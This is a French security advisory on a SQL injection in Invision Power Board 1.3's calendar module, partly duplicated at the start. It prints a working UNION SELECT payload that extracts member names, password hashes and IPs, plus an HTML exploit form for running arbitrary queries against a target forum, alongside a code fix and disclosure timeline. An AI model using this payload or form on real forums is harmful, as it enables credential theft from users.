Invision Power Board SQL Injection Vulnerability
======================================================================
PROGRAM: Invision Power Board
HOMEPAGE: http://www.invisionboard.com
VERSIONS VULNERABLE : 1.3 FINAL
RISQUE: MOYEN/ELEVE
IMPACT: Injection SQL
DATE DE PUBLICATION: 2004-01-03
======================================================================
TABLE DES MATIÈRES
======================================================================
Invision Power Board (IPB) est un système de forum professionnel fonctionnant
avec une base de donnée MySQL. Un panneau de configuration d'administration
complet est inclus pour vous aider à configurer votre forum facilement.
$DB->query("SELECT * FROM ibf_calendar_events
WHERE event_repeat=1
AND ( repeat_unit IN ('w','m') OR (repeat_unit='y' AND
month={$this->chosen_month}) )
");
$DB->query("SELECT * FROM ibf_calendar_events
WHERE event_repeat <> 1 AND month={$this->chosen_month} AND
year={$this->chosen_year}
OR (event_ranged=1 AND ( unix_stamp < $timenow AND end_unix_stamp
> $timenow ) )
");
----------------------------------------------------
$ibforums->input['m'] est la variable $m qui a été envoyée par l'utilisateur.
On voit que si intval($ibforums->input['m']) ne retourne pas de valeur
numérique,
alors la variable $this->chosen_month vaudra le numéro du mois courant.
Si par contre il retourne une valeur numérique, alors $this->chosen_month aura
comme valeur celle rentrée par l'utilisateur, celle de $ibforums->input['m'].
Ceci aura comme conséquence que, si on entre comme valeur à $m par exemple
'aaaaa', $this->chosen_month se verra attribuer une valeur par défaut au script.
A priori on ne peut donc pas entrer autre chose que des chiffres.
Mais, si intval('aaaa') ne retourne pas de valeur numérique, intval('2aaaaa')
en
retourne une ! Il suffit que l'argument COMMENCE par un chiffre.
Donc si on donne à $m la valeur '2hophophop', $this->chosen_month vaudra
'2hophophop'.
SELECT * FROM ibf_calendar_events WHERE event_repeat=1 AND ( repeat_unit IN
('w','m') OR (repeat_unit='y' AND month={$this->chosen_month}) )
------------------------------------------------------------------------
Comme c'est une requête SELECT, on peut par exemple utiliser la clause UNION.
Comme le résultat de la deuxième requête doit être du même type que la
première,
et que dans la première on extrait tout (*) les éléments de la table
ibf_calendar_events,
on a besoin de connaître sa structure, qui est :
-------------------------------------------------------
CREATE TABLE ibf_calendar_events (
eventid mediumint(8) NOT NULL auto_increment,
userid mediumint(8) NOT NULL default '0',
year int(4) NOT NULL default '2002',
month int(2) NOT NULL default '1',
mday int(2) NOT NULL default '1',
title varchar(254) NOT NULL default 'no title',
event_text text NOT NULL,
read_perms varchar(254) NOT NULL default '*',
unix_stamp int(10) NOT NULL default '0',
priv_event tinyint(1) NOT NULL default '0',
show_emoticons tinyint(1) NOT NULL default '1',
rating smallint(2) NOT NULL default '1',
event_ranged tinyint(1) NOT NULL default '0',
event_repeat tinyint(1) NOT NULL default '0',
repeat_unit char(2) NOT NULL default '',
end_day int(2) default NULL,
end_month int(2) default NULL,
end_year int(4) default NULL,
end_unix_stamp int(10) default NULL,
event_bgcolor varchar(32) NOT NULL default '',
event_color varchar(32) NOT NULL default '',
PRIMARY KEY (eventid),
KEY unix_stamp (unix_stamp)
);
-------------------------------------------------------
On peut donc retenir que le résultat de la requête devra être du type :
INT,INT,INT,INT,INT,VARCHAR,TEXT,VARCHAR,INT,INT,INT,INT,INT,INT,CHAR(2)
,INT,
INT,INT,INT,VARCHAR,VARCHAR
Donc si on donne à $this->chosen_month (à $m) la valeur :
2 )) UNION SELECT
0,0,0,0,m.id,m.name,m.password,m.ip_address,0,0,0,0,0,0,0,0,0,0,0,0,0 FROM
ibf_members m WHERE 1/*
La requête exécutée sera :
SELECT * FROM ibf_calendar_events WHERE event_repeat=1 AND ( repeat_unit IN
('w','m') OR (repeat_unit='y' AND month=2 )) UNION SELECT
0,0,0,0,m.id,m.name,m.password,m.ip_address,0,0,0,0,0,0,0,0,0,0,f.id,f.n
ame,f.pa
ssword
FROM ibf_members m,ibf_forums f WHERE 1/*)
Et ces deux requêtes seront exécutées :
- SELECT * FROM ibf_calendar_events WHERE event_repeat=1 AND ( repeat_unit
IN ('w','m') OR (repeat_unit='y' AND month=2 ))
- SELECT
0,0,0,0,m.id,m.name,m.password,m.ip_address,0,0,0,0,0,0,0,0,0,0,0,0,0 FROM
ibf_members m WHERE 1
La deuxième requête renvois quatre 0, puis l'id, le nom, le mot de passe et
l'ip du membre puis treize 0 pour chaque membre.
ATTENTION ! La requête est exécutée mais rien n'est affiché !
En effet, juste après dans le script une autre requête est exécutée :
SELECT * FROM ibf_calendar_events WHERE event_repeat <> 1 AND
month={$this->chosen_month} AND year={$this->chosen_year} OR (event_ranged=1
AND ( unix_stamp < $timenow AND end_unix_stamp > $timenow ) )
Ce qui donne l'exécution de :
SELECT * FROM ibf_calendar_events WHERE event_repeat <> 1 AND month= 2 ))
UNION SELECT
0,0,0,0,m.id,m.name,m.password,m.ip_address,0,0,0,0,0,0,0,0,0,0,0,0,0 FROM
ibf_members m WHERE 1/*
Ce qui génére une erreur. Mais la requête est exécutée une première fois, et il
y a bien
sûr d'autres utilisations possibles.
<html>
<head><title>
Invision Power Board Free 1.3 FINAL SQL Injection Problems
</title></head>
<body>
<form action='/index.php?act=calendar' method='post'
onsubmit="this.m.value='2 )) UNION
'+this.request.value+'#';this.action=this.url.value+this.action;">
<b>IPB directory URL :</b> <input type='text' size='45' name='url'
value='http://forum.target.com'><br><br>
<b>SQL SELECT REQUEST :</b> <input type='text' size='80' name='request'
value='SELECT * FROM ibf_calendar_events'><br><br>
<u>Attention :</u> The request result MUST have this structure :<br><br>
INT,INT,INT,INT,INT,STR,STR,STR,INT,INT,INT,INT,INT,INT,CHAR(2),INT,INT,
INT,INT,STR,STR<br><br>
<input type='hidden' name='y' value='2004'>
<input type='hidden' name='m'>
<input type='submit' value='Execute'>
</form>
<br><br><br>
<p align="right">A patch can be found on <a
href="http://www.phpsecure.info" target="_blank">phpSecure.info</a>.<br>
For more informations about this exploit :
<a href="http://www.security-corporation.com/advisories-025.html"
target="_blank">
Security-Corporation.com</a></p>
</body>
</html>
Les informations contenues dans ce document sont données à titre
purement informatif. Nous dégageons notre responsabilité de tout
dommage, de quelque nature que ce soit, résultant directement ou
indirectement de l'utilisation ou de l'impossibilité d'utiliser
les informations contenues dans ce document ou dans les
sites joignables au travers des liens hypertextes y existants.
Security Corporation Security Advisory [SCSA-025]
Invision Power Board SQL Injection Vulnerability
======================================================================
PROGRAM: Invision Power Board
HOMEPAGE: http://www.invisionboard.com
VERSIONS VULNERABLE : 1.3 FINAL
RISQUE: MOYEN/ELEVE
IMPACT: Injection SQL
DATE DE PUBLICATION: 2004-01-03
======================================================================
TABLE DES MATIÈRES
======================================================================
1..........................................................DESCRIPTION
2..............................................................DETAILS
3.............................................................EXPLOITS
4............................................................SOLUTIONS
5......................................................RECOMMANDATIONS
6..................................................DISCLOSURE TIMELINE
7..............................................................CREDITS
8........................................................AVERTISSEMENT
9...........................................................REFERENCES
10........................................................COMMENTAIRES
1. DESCRIPTION
======================================================================
Invision Power Board (IPB) est un système de forum professionnel fonctionnant
avec une base de donnée MySQL. Un panneau de configuration d'administration
complet est inclus pour vous aider à configurer votre forum facilement.
2. DETAILS
======================================================================
- Injection SQL :
Une vulnérabilité a été découverte dans le fichier sources/calendar.php
permettant
à un utilisateur non autorisé d'injecter des commandes SQL.
Code vulnérable:
----------------------------------------------------
[...]
$this->chosen_month = ( ! intval($ibforums->input['m']) ) ?
$this->now_date['mon'] : $ibforums->input['m'];
[...]
$recurring = array();
[...]
$DB->query("SELECT * FROM ibf_calendar_events
WHERE event_repeat=1
AND ( repeat_unit IN ('w','m') OR (repeat_unit='y' AND
month={$this->chosen_month}) )
");
while ( $rec = $DB->fetch_row() )
{
$recurring[] = $rec;
}
$events = array();
$DB->query("SELECT * FROM ibf_calendar_events
WHERE event_repeat <> 1 AND month={$this->chosen_month} AND
year={$this->chosen_year}
OR (event_ranged=1 AND ( unix_stamp < $timenow AND end_unix_stamp
> $timenow ) )
");
----------------------------------------------------
$ibforums->input['m'] est la variable $m qui a été envoyée par l'utilisateur.
On voit que si intval($ibforums->input['m']) ne retourne pas de valeur
numérique,
alors la variable $this->chosen_month vaudra le numéro du mois courant.
Si par contre il retourne une valeur numérique, alors $this->chosen_month aura
comme valeur celle rentrée par l'utilisateur, celle de $ibforums->input['m'].
Ceci aura comme conséquence que, si on entre comme valeur à $m par exemple
'aaaaa', $this->chosen_month se verra attribuer une valeur par défaut au script.
A priori on ne peut donc pas entrer autre chose que des chiffres.
Mais, si intval('aaaa') ne retourne pas de valeur numérique, intval('2aaaaa')
en
retourne une ! Il suffit que l'argument COMMENCE par un chiffre.
Donc si on donne à $m la valeur '2hophophop', $this->chosen_month vaudra
'2hophophop'.
On exécute après la requête suivante :
------------------------------------------------------------------------
SELECT * FROM ibf_calendar_events WHERE event_repeat=1 AND ( repeat_unit IN
('w','m') OR (repeat_unit='y' AND month={$this->chosen_month}) )
------------------------------------------------------------------------
Comme c'est une requête SELECT, on peut par exemple utiliser la clause UNION.
Comme le résultat de la deuxième requête doit être du même type que la
première,
et que dans la première on extrait tout (*) les éléments de la table
ibf_calendar_events,
on a besoin de connaître sa structure, qui est :
-------------------------------------------------------
CREATE TABLE ibf_calendar_events (
eventid mediumint(8) NOT NULL auto_increment,
userid mediumint(8) NOT NULL default '0',
year int(4) NOT NULL default '2002',
month int(2) NOT NULL default '1',
mday int(2) NOT NULL default '1',
title varchar(254) NOT NULL default 'no title',
event_text text NOT NULL,
read_perms varchar(254) NOT NULL default '*',
unix_stamp int(10) NOT NULL default '0',
priv_event tinyint(1) NOT NULL default '0',
show_emoticons tinyint(1) NOT NULL default '1',
rating smallint(2) NOT NULL default '1',
event_ranged tinyint(1) NOT NULL default '0',
event_repeat tinyint(1) NOT NULL default '0',
repeat_unit char(2) NOT NULL default '',
end_day int(2) default NULL,
end_month int(2) default NULL,
end_year int(4) default NULL,
end_unix_stamp int(10) default NULL,
event_bgcolor varchar(32) NOT NULL default '',
event_color varchar(32) NOT NULL default '',
PRIMARY KEY (eventid),
KEY unix_stamp (unix_stamp)
);
-------------------------------------------------------
On peut donc retenir que le résultat de la requête devra être du type :
INT,INT,INT,INT,INT,VARCHAR,TEXT,VARCHAR,INT,INT,INT,INT,INT,INT,CHAR(2)
,INT,
INT,INT,INT,VARCHAR,VARCHAR
Donc si on donne à $this->chosen_month (à $m) la valeur :
2 )) UNION SELECT
0,0,0,0,m.id,m.name,m.password,m.ip_address,0,0,0,0,0,0,0,0,0,0,0,0,0 FROM
ibf_members m WHERE 1/*
La requête exécutée sera :
SELECT * FROM ibf_calendar_events WHERE event_repeat=1 AND ( repeat_unit IN
('w','m') OR (repeat_unit='y' AND month=2 )) UNION SELECT
0,0,0,0,m.id,m.name,m.password,m.ip_address,0,0,0,0,0,0,0,0,0,0,f.id,f.n
ame,f.pa
ssword
FROM ibf_members m,ibf_forums f WHERE 1/*)
Et ces deux requêtes seront exécutées :
- SELECT * FROM ibf_calendar_events WHERE event_repeat=1 AND ( repeat_unit
IN ('w','m') OR (repeat_unit='y' AND month=2 ))
- SELECT
0,0,0,0,m.id,m.name,m.password,m.ip_address,0,0,0,0,0,0,0,0,0,0,0,0,0 FROM
ibf_members m WHERE 1
La deuxième requête renvois quatre 0, puis l'id, le nom, le mot de passe et
l'ip du membre puis treize 0 pour chaque membre.
ATTENTION ! La requête est exécutée mais rien n'est affiché !
En effet, juste après dans le script une autre requête est exécutée :
SELECT * FROM ibf_calendar_events WHERE event_repeat <> 1 AND
month={$this->chosen_month} AND year={$this->chosen_year} OR (event_ranged=1
AND ( unix_stamp < $timenow AND end_unix_stamp > $timenow ) )
Ce qui donne l'exécution de :
SELECT * FROM ibf_calendar_events WHERE event_repeat <> 1 AND month= 2 ))
UNION SELECT
0,0,0,0,m.id,m.name,m.password,m.ip_address,0,0,0,0,0,0,0,0,0,0,0,0,0 FROM
ibf_members m WHERE 1/*
Ce qui génére une erreur. Mais la requête est exécutée une première fois, et il
y a bien
sûr d'autres utilisations possibles.
3. EXPLOITS
======================================================================
- Injection SQL :
--------------------IPBexploit.html--------------------
<html>
<head><title>
Invision Power Board Free 1.3 FINAL SQL Injection Problems
</title></head>
<body>
<form action='/index.php?act=calendar' method='post'
onsubmit="this.m.value='2 )) UNION
'+this.request.value+'#';this.action=this.url.value+this.action;">
<b>IPB directory URL :</b> <input type='text' size='45' name='url'
value='http://forum.target.com'><br><br>
<b>SQL SELECT REQUEST :</b> <input type='text' size='80' name='request'
value='SELECT * FROM ibf_calendar_events'><br><br>
<u>Attention :</u> The request result MUST have this structure :<br><br>
INT,INT,INT,INT,INT,STR,STR,STR,INT,INT,INT,INT,INT,INT,CHAR(2),INT,INT,
INT,INT,STR,STR<br><br>
<input type='hidden' name='y' value='2004'>
<input type='hidden' name='m'>
<input type='submit' value='Execute'>
</form>
<br><br><br>
<p align="right">A patch can be found on <a
href="http://www.phpsecure.info" target="_blank">phpSecure.info</a>.<br>
For more informations about this exploit :
<a href="http://www.security-corporation.com/advisories-025.html"
target="_blank">
Security-Corporation.com</a></p>
</body>
</html>
--------------------IPBexploit.html--------------------
4. SOLUTIONS
======================================================================
Un patch est disponible sur http://www.phpsecure.info.
Invision Power Services a été averti et a publié un patch :
http://forums.invisionpower.com/index.php?act=ST&f=1&t=108786
5. RECOMMANDATIONS
======================================================================
Dans le fichier sources/calendar.php remplacer les lignes suivantes:
------------------------------------------------------------------------
$this->chosen_month = ( ! intval($ibforums->input['m']) ) ?
$this->now_date['mon'] : $ibforums->input['m'];
$this->chosen_year = ( ! intval($ibforums->input['y']) ) ?
$this->now_date['year'] : $ibforums->input['y'];
------------------------------------------------------------------------
par :
------------------------------------------------------------------------
$this->chosen_month = ( ! intval($ibforums->input['m']) ) ?
$this->now_date['mon'] : intval($ibforums->input['m']);
$this->chosen_year = ( ! intval($ibforums->input['y']) ) ?
$this->now_date['year'] : intval($ibforums->input['y']);
------------------------------------------------------------------------
6. DISCLOSURE TIMELINE
======================================================================
30/12/2003 Vulnerability discovered
30/12/2003 Vendor notified
02/01/2004 Vendor response
02/01/2004 Security Corporation clients notified
02/01/2004 Started e-mail discussions
03/01/2004 Last e-mail received
03/01/2004 Public disclosure
7. CREDITS
======================================================================
Découvert par frog-m@n <frog-man (at) security-corporation (dot) com [email concealed]> de
http://www.phpsecure.info
Merci à NorXbe de http://www.ihcteam.org
8. AVERTISSEMENT
======================================================================
Les informations contenues dans ce document sont données à titre
purement informatif. Nous dégageons notre responsabilité de tout
dommage, de quelque nature que ce soit, résultant directement ou
indirectement de l'utilisation ou de l'impossibilité d'utiliser
les informations contenues dans ce document ou dans les
sites joignables au travers des liens hypertextes y existants.
9. REFERENCES
======================================================================
- Original Version:
http://www.security-corporation.com/advisories-025.html
- Version Française:
http://www.security-corporation.com/index.php?id=advisories&a=025-FR
10. COMMENTAIRES
======================================================================
Toutes suggestions, mise à jours, commentaires sont à envoyer à :
Security Corporation
http://www.security-corporation.com
advisory (at) security-corporation (dot) com [email concealed]
[ reply ]